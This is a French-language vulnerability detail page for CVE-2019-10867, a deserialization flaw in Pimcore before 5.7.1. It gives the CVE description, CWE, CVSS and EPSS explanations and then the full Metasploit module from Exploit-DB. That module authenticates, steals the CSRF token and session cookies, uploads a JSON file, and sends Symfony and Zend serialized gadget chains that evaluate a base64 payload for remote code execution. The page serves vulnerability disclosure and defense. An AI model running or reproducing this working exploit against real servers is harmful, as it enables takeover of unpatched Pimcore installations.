CVE-2019-10867 : Détail

CVE-2019-10867

8.8
/
Haute
A08-Soft and Data Integrity Fail
94.88%V3
Network
2019-04-04
15h51 +00:00
2020-03-18
17h03 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

An issue was discovered in Pimcore before 5.7.1. An attacker with classes permission can send a POST request to /admin/class/bulk-commit, which will make it possible to exploit the unserialize function when passing untrusted values in the data parameter to bundles/AdminBundle/Controller/Admin/DataObject/ClassController.php.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-502 Deserialization of Untrusted Data
The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 8.8 HIGH CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 46783

Date de publication : 2019-04-29 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => "Pimcore Unserialize RCE", 'Description' => %q( This module exploits a PHP unserialize() in Pimcore before 5.7.1 to execute arbitrary code. An authenticated user with "classes" permission could exploit the vulnerability. The vulnerability exists in the "ClassController.php" class, where the "bulk-commit" method makes it possible to exploit the unserialize function when passing untrusted values in "data" parameter. Tested on Pimcore 5.4.0-5.4.4, 5.5.1-5.5.4, 5.6.0-5.6.6 with the Symfony unserialize payload. Tested on Pimcore 4.0.0-4.6.5 with the Zend unserialize payload. ), 'License' => MSF_LICENSE, 'Author' => [ 'Daniele Scanu', # Discovery & PoC 'Fabio Cogno' # Metasploit module ], 'References' => [ ['CVE', '2019-10867'], ['URL', 'https://github.com/pimcore/pimcore/commit/38a29e2f4f5f060a73974626952501cee05fda73'], ['URL', 'https://snyk.io/vuln/SNYK-PHP-PIMCOREPIMCORE-173998'] ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [ ['Pimcore 5.x (Symfony unserialize payload)', 'type' => :symfony], ['Pimcore 4.x (Zend unserialize payload)', 'type' => :zend] ], 'Payload' => { 'Space' => 8000, 'DisableNops' => true }, 'Privileged' => false, 'DisclosureDate' => "Mar 11 2019", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, "Base Pimcore directory path", '/']), OptString.new('USERNAME', [true, "Username to authenticate with", '']), OptString.new('PASSWORD', [false, "Password to authenticate with", '']) ] ) end def login # Try to login res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'login', 'login'), 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } ) unless res fail_with(Failure::Unreachable, 'Connection failed') end if res.code == 302 && res.headers['Location'] =~ /\/admin\/\?_dc=/ print_good("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}") # Grabbing CSRF token and PHPSESSID cookie return grab_csrftoken(res) end if res.code == 302 && res.headers['Location'] =~ /auth_failed=true/ fail_with(Failure::NoAccess, 'Invalid credentials') end fail_with(Failure::NoAccess, 'Authentication was unsuccessful') end def grab_csrftoken(auth_res) uri = "#{target_uri.path}admin/?_dc=#{auth_res.headers['Location'].scan(/\/admin\/\?_dc=([0-9]+)/).flatten.first}" res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(uri), 'cookie' => auth_res.get_cookies ) if res && res.code == 200 # Pimcore 5.x unless res.body.scan(/"csrfToken": "[a-z0-9]+",/).empty? @csrf_token = res.body.scan(/"csrfToken": "([a-z0-9]+)",/).flatten.first.to_s @pimcore_cookies = res.get_cookies.scan(/(PHPSESSID=[a-z0-9]+;)/).flatten[0] fail_with(Failure::NotFound, 'Failed to retrieve cookies') unless @pimcore_cookies @pimcore_cookies << " pimcore_admin_sid=1;" # Version version = res.body.scan(/"pimcore platform \(v([0-9]{1}\.[0-9]{1}\.[0-9]{1})\|([a-z0-9]+)\)"/i).flatten[0] build = res.body.scan(/"pimcore platform \(v([0-9]{1}\.[0-9]{1}\.[0-9]{1})\|([a-z0-9]+)\)"/i).flatten[1] fail_with(Failure::NotFound, 'Failed to retrieve the version and build') unless version && build print_version(version, build) return assign_target(version) end # Pimcore 4.x unless res.body.scan(/csrfToken: "[a-z0-9]+",/).empty? @csrf_token = res.body.scan(/csrfToken: "([a-z0-9]+)",/).flatten.first.to_s @pimcore_cookies = res.get_cookies.scan(/(pimcore_admin_sid=[a-z0-9]+;)/).flatten[0] fail_with(Failure::NotFound, 'Unable to retrieve cookies') unless @pimcore_cookies # Version version = res.body.scan(/version: "([0-9]{1}\.[0-9]{1}\.[0-9]{1})",/i).flatten[0] build = res.body.scan(/build: "([0-9]+)",/i).flatten[0] fail_with(Failure::NotFound, 'Failed to retrieve the version and build') unless version && build print_version(version, build) return assign_target(version) end # Version different from 4.x or 5.x return nil else fail_with(Failure::NoAccess, 'Failed to grab csrfToken and PHPSESSID') end end def print_version(version, build) print_status("Pimcore version: #{version}") print_status("Pimcore build: #{build}") end def assign_target(version) if Gem::Version.new(version) >= Gem::Version.new('5.0.0') && Gem::Version.new(version) <= Gem::Version.new('5.6.6') print_good("The target is vulnerable!") return targets[0] elsif Gem::Version.new(version) >= Gem::Version.new('4.0.0') && Gem::Version.new(version) <= Gem::Version.new('4.6.5') print_good("The target is vulnerable!") return targets[1] else print_error("The target is NOT vulnerable!") return nil end end def upload # JSON file payload fpayload = "{\"customlayout\":[{\"creationDate\": \"#{rand(1..9)}\", \"modificationDate\": \"#{rand(1..9)}\", \"userOwner\": \"#{rand(1..9)}\", \"userModification\": \"#{rand(1..9)}\"}]}" # construct POST data data = Rex::MIME::Message.new data.add_part(fpayload, 'application/json', nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(3..9)}.json\"") # send JSON file payload to bulk-import function res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'class', 'bulk-import'), 'vars_get' => { 'csrfToken' => @csrf_token }, 'cookie' => @pimcore_cookies, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s ) unless res fail_with(Failure::Unreachable, 'Connection failed') end if res.code == 200 json = res.get_json_document if json['success'] == true print_good("JSON payload uploaded successfully: #{json['filename']}") return json['filename'] else print_warning('Could not determine JSON payload file upload') return nil end end end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', 'login') ) unless res return Exploit::CheckCode::Unknown end if res.code == 200 && res.headers =~ /pimcore/i || res.body =~ /pimcore/i return Exploit::CheckCode::Detected end return Exploit::CheckCode::Unknown end def exploit # Try to log in, grab csrfToken and select target my_target = login if my_target.nil? fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end # Try to upload JSON payload file fname = upload unless fname.nil? # Register uploaded JSON payload file for cleanup register_files_for_cleanup(fname) end print_status("Selected payload: #{my_target.name}") case my_target['type'] when :symfony # The payload to execute spayload = "php -r 'eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));'" # The Symfony object payload serialize = "O:43:\"Symfony\\Component\\Cache\\Adapter\\ApcuAdapter\":3:{" serialize << "s:64:\"\x00Symfony\\Component\\Cache\\Adapter\\AbstractAdapter\x00mergeByLifetime\";" serialize << "s:9:\"proc_open\";" serialize << "s:58:\"\x00Symfony\\Component\\Cache\\Adapter\\AbstractAdapter\x00namespace\";a:0:{}" serialize << "s:57:\"\x00Symfony\\Component\\Cache\\Adapter\\AbstractAdapter\x00deferred\";" serialize << "s:#{spayload.length}:\"#{spayload}\";}" when :zend # The payload to execute spayload = "eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'));" # The Zend1 object payload serialize = "a:2:{i:7;O:8:\"Zend_Log\":1:{s:11:\"\x00*\x00_writers\";a:1:{" serialize << "i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\x00*\00_eventsToMail\";a:1:{" serialize << "i:0;i:1;}s:22:\"\x00*\x00_layoutEventsToMail\";a:0:{}s:8:\"\00*\x00_mail\";" serialize << "O:9:\"Zend_Mail\":0:{}s:10:\"\x00*\x00_layout\";O:11:\"Zend_Layout\":3:{" serialize << "s:13:\"\x00*\x00_inflector\";O:23:\"Zend_Filter_PregReplace\":2:{" serialize << "s:16:\"\x00*\x00_matchPattern\";s:7:\"/(.*)/e\";s:15:\"\x00*\x00_replacement\";" serialize << "S:#{spayload.length}:\"#{spayload}\";}" serialize << "s:20:\"\x00*\x00_inflectorEnabled\";b:1;s:10:\"\x00*\x00_layout\";" serialize << "s:6:\"layout\";}s:22:\"\x00*\x00_subjectPrependText\";N;}}};i:7;i:7;}" end # send serialized payload send_request_cgi( { 'method' => 'POST', 'uri' => normalize_uri(target_uri, 'admin', 'class', 'bulk-commit'), 'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8', 'cookie' => @pimcore_cookies, 'vars_post' => { 'filename' => fname, 'data' => JSON.generate( 'type' => 'customlayout', 'name' => serialize ) }, 'headers' => { 'X-pimcore-csrf-token' => @csrf_token } }, 30 ) end end

Products Mentioned

Configuraton 0

Pimcore>>Pimcore >> Version To (excluding) 5.7.1

Références

https://www.exploit-db.com/exploits/46783/
Tags : exploit, x_refsource_EXPLOIT-DB